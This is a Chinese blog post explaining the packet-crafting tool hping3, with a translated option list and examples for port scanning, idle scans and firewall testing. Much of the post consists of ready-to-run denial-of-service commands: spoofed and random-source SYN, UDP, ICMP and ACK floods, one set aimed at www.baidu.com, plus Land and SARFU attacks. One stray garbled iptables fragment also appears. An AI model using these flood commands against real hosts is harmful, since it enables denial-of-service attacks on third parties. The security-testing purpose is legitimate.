首页 > 其他分享 >hping、hping3 的使用

hping、hping3 的使用

时间:2024-12-29 18:19:48浏览次数:9  
标签:hping3 -- IP SYN TCP hping 使用 数据包

一 什么是hping

hping 是命令行下使用 TCP/IP 来 组装/分析 数据包的开源工具。作者是 Salvatore Sanfilippo,界面灵感来自 ping(8)unix 命令,目前最新版是 hping3,它支持 TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用 tcl 脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

hping  通常被用在 web 服务,用来做压力测试使用,进行DOS攻击实验。hping3 缺点是每次只能扫描一次目标。虽然 hping 以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用 hping 的一小部分内容:

    防火墙测试
    高级端口扫描
    网络测试,使用不同的协议,TOS,分片
    手动路径 MTU 发现
    在所有支持的协议下,高级 traceroute
    远程操作系统指纹
    远程正常运行时间猜测
    TCP/IP 协议栈审计
    hping 也可以用于学习TCP/IP的学生

二 hping3 参数

hping3 -h
用法: hping3 host [options]
  -h  --help       显示帮助
  -v  --version    显示版本
  -c  --count      发送数据包的数目
  -i  --interval   每个数据包的时间间隔 (uX X表示微秒, 示例:-i u1000)
      --fast       等价 -i u10000 (每秒发送10个数据包)
      --faster     等价 -i u1000 (每秒发送100个数据包)
      --flood      尽最快发送数据包,不显示回复。
  -n  --numeric    数字化输出,象征性输出主机地址。
  -q  --quiet      安静模式
  -I  --interface  网卡接口 (默认是路由接口)
  -V  --verbose    详细模式
  -D  --debug      调试信息
  -z  --bind       绑定 ctrl+z 到 ttl (默认为目的端口)
  -Z  --unbind     取消绑定 ctrl+z 键
      --beep       对于接收到的每个匹配数据包蜂鸣声提示

模式 选择
  default mode     TCP     // 默认模式是 TCP
  -0  --rawip      原始 IP模式。即裸IP方式。使用 RAWSOCKET 方式。
                   在此模式下 hping 会发送带数据的IP头。
  -1  --icmp       ICMP 模式
  -2  --udp        UDP  模式
  -8  --scan       扫描 模式。示例:hping --scan 1-30,70-90 -S www.target.host                   
  -9  --listen     监听 模式

IP 模式
  -a  --spoof      源地址欺骗。
                   伪造IP攻击,防火墙就不会记录你的真实IP,当然回应的包你也接收不到。
  --rand-dest      随机目的地址模式。详细使用 man 命令
  --rand-source    随机源地址模式。详细使用 man 命令
  -t  --ttl        设置 ttl (默认 64)
  -N  --id         设置 hping 中的 ID 值,默认随机值
  -W  --winid      使用 win* id 字节顺序。
                   使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,
                   选项可以让你的ID回应和WINDOWS一样。
  -r  --rel        相对id字段(估计主机流量)。更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
  -f  --frag       拆分数据包成更多的 frag。即 一个数据包 分段 成多个数据包,
                   可以测试对方或者交换机碎片处理能力,缺省16字节。(可能会通过弱的ACL限制)
  -x  --morefrag   设置更多的分段标志。大量碎片,泪滴攻击。
  -y  --dontfrag   设置不分段的标志。即发送不可恢复的IP碎片,
                   通过这个可以让你了解更多的 MTU PATH DISCOVERY。
  -g  --fragoff    设置断偏移。
  -m  --mtu        设置虚拟MTU值,如果 packet size > mtu 时,实现 --frag。
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     显示路由缓存,包括 RECORD_ROUTE 选项
  --lsrr           松散源路由和路由记录
  --ssrr           严格的源路由和路由记录
  -H  --ipproto    设置 IP 协议字段,仅在 RAW IP 模式下使用

ICMP 模式
  -C  --icmptype    icmp 类型 (默认回显请求)
  -K  --icmpcode    icmp 码 (默认 0)
      --force-icmp  发送所有 icmp 类型 (默认只发送支持的类型)
      --icmp-gw     设置ICMP重定向网关。(默认0.0.0.0)    // ICMP重定向
      --icmp-ts     等同 --icmp --icmptype 13 (ICMP 时间戳)
      --icmp-addr   等同 --icmp --icmptype 17 (ICMP 地址 子网 掩码)
      --icmp-help   显示其他icmp选项帮助      // ICMP帮助

UDP/TCP 模式
  -s  --baseport   源端口 (默认随机)
  -p  --destport   [+][+]<port> 目的端口(默认 0) ctrl+z inc/dec
  -k  --keep       保持源端口。即源端口不关闭,一直处于监听状态
  -w  --win        winsize (default 64)。win的滑动窗口。windows发送字节(默认64)
  -O  --tcpoff     伪造 tcp 数据偏移量(用来代替 "tcp地址长度 / 4" )
  -Q  --seqnum     仅显示tcp序列号
  -b  --badcksum   (尝试) 发送带有错误checksum的IP数据包。                  
                   许多系统将修复发送数据包的IP校验和。
                   所以你会得到错误UDP/TCP校验和。
  -M  --setseq     设置TCP序列号
  -L  --setack     set TCP ack ( 注意:不是设置 TCP ACK 的 flag )
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag (注意:设置 TCP ACK 的 flag )
  -U  --urg        set URG flag  // 一大堆IP数据包头的设置。
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        用给定的值,启用并设置 TCP MSS
  --tcp-timestamp  启用 TCP时间戳 来猜测 HZ/uptime

用用设置
  -d  --data        数据大小 ( 默认是 0 )
  -E  --file        从文件获取数据
  -e  --sign        添加 'signature'
  -j  --dump        转储为16进制数据包
  -J  --print       转储为可打印字符
  -B  --safe        启用“安全”协议
  -u  --end         告诉 --file 何时到达 EOF 并阻止倒回。
  -T  --traceroute  追踪模式。( 等同 --bind and --ttl 1 )
  --tr-stop         在 追踪模式 下收到第一个不是ICMP时退出
  --tr-keep-ttl     保持源 TTL 固定,对仅监控一跳很有用
  --tr-no-rtt       不要在 traceroute 模式下计算/显示 RTT 信息
ARS 数据包描述(新增功能,不稳定的)
  --apd-send        发送用 APD 描述的数据包 (参见 docs/APD.txt)

hping3 的使用
hping3 -c 5000 -d 150 -S -w 64 -p 81 --flood 1.1.1.1         -----  打400M TCP SYN流量
hping3 -c 999999999 -d 150 -S -w 64 -p 81 -i u1000  1.1.1.1  ---- 打1.5M TCP SYN流量
hping3 -c 999999999 -d 150 -w 64 -p 81 -i u10 1.1.1.1 -2     ---- 组合限速,打100M UDP流量

二 hping3  功能

Hping3 主要有以下典型功能应用:

防火墙测试
参考:http://0daysecurity.com/articles/hping3_examples.html
使用 Hping3 指定各种数据包字段,依次对防火墙进行详细测试。测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack 方式测试目标防火墙( Land Attack 是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接 )。
  hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

 

端口扫描
Hping3 也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
    hping3 -I eth0 -S -p 80 -c 5 192.168.1.107   # 端口扫描
 其中-I eth0 指定使用eth0端口,-S 指定TCP包的标志位SYN,-p 80指定探测的目的端口。

hping3 支持非常丰富的端口探测方式,nmap 拥有的扫描方式 hping3 几乎都支持(除开 connect方式,因为 Hping3 仅发送与接收包,不会维护连接,所以不支持 connect 方式探测)。而且Hping3 能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3 的端口扫描性能及综合处理能力,无法与 Nmap 相比。一般使用它仅对少量主机的少量端口进行扫描。

Idle 扫描
  Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是 Hping3 的作者 Salvatore Sanfilippo 发明的,目前 Idle 扫描在 Nmap 中也有实现。

该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

DoS 攻击方法

  使用 Hping3 可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用 1000 微秒的间隔发送各个SYN包。
    hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻击如 smurf、teardrop、land attack 等也很容易构建出来。

 

  UDP ddos攻击:

 

    hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com

 

  ICMP ddos攻击:

 

    hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com

 

  SYN ddos攻击:

 

    hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com

 

  ACK ddos攻击:

 

    hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com



1)随机 源IP 的 Dos 攻击

    hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.hping3testsite.com


      hping3 -S -U --flood -V --rand -source IP
      -c 100000 发送数据包的数量
      -d 120    发送数据包的大小
      -S        只发送SYN 数据包
      -w 64     TCP window的大小.
     -p 21     目的端口号
      --flood   尽可能快的发送,不显示回显。
      --rand-source  使用随机的Source IP Addresses 或者使用 -a or spoof to hide hostnames

2)ICMP flood

ICMP 的泛洪攻击是在最小时间内发送最大的ICMP数据到目标机,例如使用ping指令。在"旧"时代它使用一个巨大的ping(死亡之ping)是可能破坏机器,希望这些时间已经过去,但它仍有可能攻击任何机器的带宽和处理时间,如果接受到这种ICMP数据包。

    命令:hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --flood 192.168.0.2
    -q 表示quiet, -n 表示无 name resolving, id 0 表示有ICMP echo request (ping)
    -d i表示包的大小 (56 is the normal size for a ping).
    某些系统配置中自动地丢弃这种通过hping生成的头部设定不正确的ICMP包(例如不可能设置带顺序的ID)。在这种情况下,您可以使用Wireshark嗅探正常的ICMP回显请求报文,将其保存为二进制文件,并使用hping3重播。

    示例:hping3 -q -n --rawip -a 10.0.0.1 --ipproto 1 --file "./icmp_echo_request.bin" -d 64 --flood 192.168.0.2

UDP flood

  命令:hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.0.2
  对于UDP,你必须精确的知道源和目的端口,这里我选择了DNS和BOOTPC(的dhclient)端口。该BOOTPC(68)端口经常在个人电脑开着,因为大多数人使用DHCP来自己连接到网络。
  ame blacklist_180 --set -m comment --comment"Blacklist source IP" -j DROP

SYN flood

SYN泛洪是最常用的扫描技术,以及这样做的原因是因为它是最危险的。 SYN泛洪在于发送大量的TCP数据包只有SYN标志。因为SYN报文用来打开一个TCP连接,受害人的主机将尝试打开这些连接。这些连接,存储的连接表中,将继续开放一定的时间,而攻击者不断涌入与SYN数据包。一旦受害者的连接表被填满时,它不会接受任何新的连接,因此,如果它是一个服务器这意味着它已不再被任何人访问。
示例:hping3 -q -n -a 10.0.0.1 -S -s 53 --keep -p 22 --flood 192.168.0.2

其他 SYN flood 攻击

有许多使用TCP泛洪的可能性。如你所愿刚才设置的各种TCP标志。某些TCP泛洪技术包括制定了很多不寻常的标志扰乱。例如与SARFU扫描
示例:hping3 -q -n -a 10.0.0.1 -SARFU -p 22 --flood 192.168.0.2

Land 攻击

Land 攻击原理是:用一个特别打造的SYN包,它的原地址和目标地址都被设置成某一个服务器地址。此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接。被攻击的服务器每接收一个这样的连接都将保留,直到超时,对Land攻击反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续5分钟)

nmap 扫描 确定开放端口

Network Mapper,是Linux下的一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统

nmap v sA n www.yourorg.com oA firewallaudit

ARP攻击 / ARP欺骗

工具: ettercap

 

标签:hping3,--,IP,SYN,TCP,hping,使用,数据包
From: https://www.cnblogs.com/wuchangsoft/p/18638939

相关文章

  • 使用 Julia 进行英文数字验证码识别
    验证码(CAPTCHA)被广泛应用于区分用户和自动化程序的任务。许多在线服务都使用验证码来防止恶意程序的干扰。英文数字验证码通常由扭曲的字母和数字构成,旨在提高计算机视觉系统的识别难度。为了自动化地识别这些验证码,我们可以利用Julia语言,结合计算机视觉库来实现验证码识别。在......
  • 一文读懂 Linux 磁盘使用情况查看
    一文读懂Linux磁盘使用情况查看在Linux系统管理与运维工作中,时刻掌握磁盘的使用状况对保障系统稳定运行、提前规划存储扩容至关重要。Linux提供了丰富且功能各异的工具,用于查看磁盘使用详情,本文将深入介绍这些实用工具,并结合实际操作示例,助力大家轻松驾驭磁盘管理工作......
  • next 与 nextline 方法使用介绍
    next方法使用介绍importjava.util.Scanner;publicclassscanner{publicstaticvoidmain(String[]args){Scannerscanner=newScanner(System.in);System.out.println("使用next方式接收:");//判断用户是否输出字符串if(scan......
  • service worker和web worker的使用场景和最佳实践
    ServiceWorker和WebWorker是两种不同类型的JavaScript工作者(worker),它们在浏览器环境中提供了不同的功能和使用场景。下面我们将分别介绍这两种工作者的使用场景、最佳实践以及它们之间的主要区别。ServiceWorker使用场景离线支持:缓存静态资源,使网站可以在没有网络连接......
  • 玩转Docker | 使用Docker部署超级马里奥经典小游戏
    玩转Docker|使用Docker部署超级马里奥经典小游戏一、项目介绍项目简介项目预览二、系统要求环境要求环境检查Docker版本检查检查操作系统版本三、部署超级马里奥经典小游戏下载镜像创建容器检查容器状态检查服务端口安全设置四、访问超......
  • Windows使用bat批量复制并重命名
    CreateFileNames.bat@echooffsetlocalenabledelayedexpansionREM开启变量延迟REMREMREM相同前缀:20250REM文件格式:txtREM变化内容:101~131REM!prefix!(前缀)%%i(变化部分)!format!(格式)>>!dir!(本地地址)setdir=.\FileNames.txtsetdircopy=.\setsame=20250......
  • DevEco Studio使用模拟器报错,解决办法
    在进行鸿蒙应用开发时,很多开发者没有鸿蒙系统的设备,无法在鸿蒙系统真机上进行调试,这时就需要使用官方提供的模拟器。在菜单栏Tools---DeviceManager,打开模拟器弹窗,登录华为账号后即可进行模拟器管理。但在模拟器下载后,点击右侧Actions启动时,会遇到提示报错“模拟器启动失败,当前......
  • Golang技术在机器学习中使用的库和工具
    AI编程助手AI免费问答首页课程路径文章PHP培训精品课下载最新更新技术文章>后端开发>GolangGolang技术在机器学习中使用的库和工具WBOY2024-05-0821:42965浏览原创go语言中适用于机器学习的库和工具包括:tensorflow:流行的机器学习库,提供构建、训练和部署模型的......
  • RongIOC 一款全自动APT威胁情报拓线工具(APT Automated Tool )(使用教程+实战对比效果).
    绪论如果各位师傅觉得有用的话,可以给我点个关注~~如果师傅们有什么好的建议也欢迎联系我~~感谢各位师傅的支持~~正文部分项目地址,感谢各位师傅的star~~https://github.com/WingBy-Fkalis/RongIOC什么是APT拓线可以看我的上一篇文章,APT拓线分析指南~~,这里就不......
  • python 赋值、深拷贝浅拷贝及切片使用
    赋值、深浅拷贝先复习一下赋值与深浅拷贝i=[1,2,1,3,[1,2]]j=i#赋值k=i.copy()#浅拷贝m=copy.deepcopy(i)#深拷贝#赋值,二者物理地址相同,一方变化另一方同步变化j.pop(0)print(i,j)[2,1,3,[1,2]][2,1,3,[1,2]]#取浅拷贝,二者物理......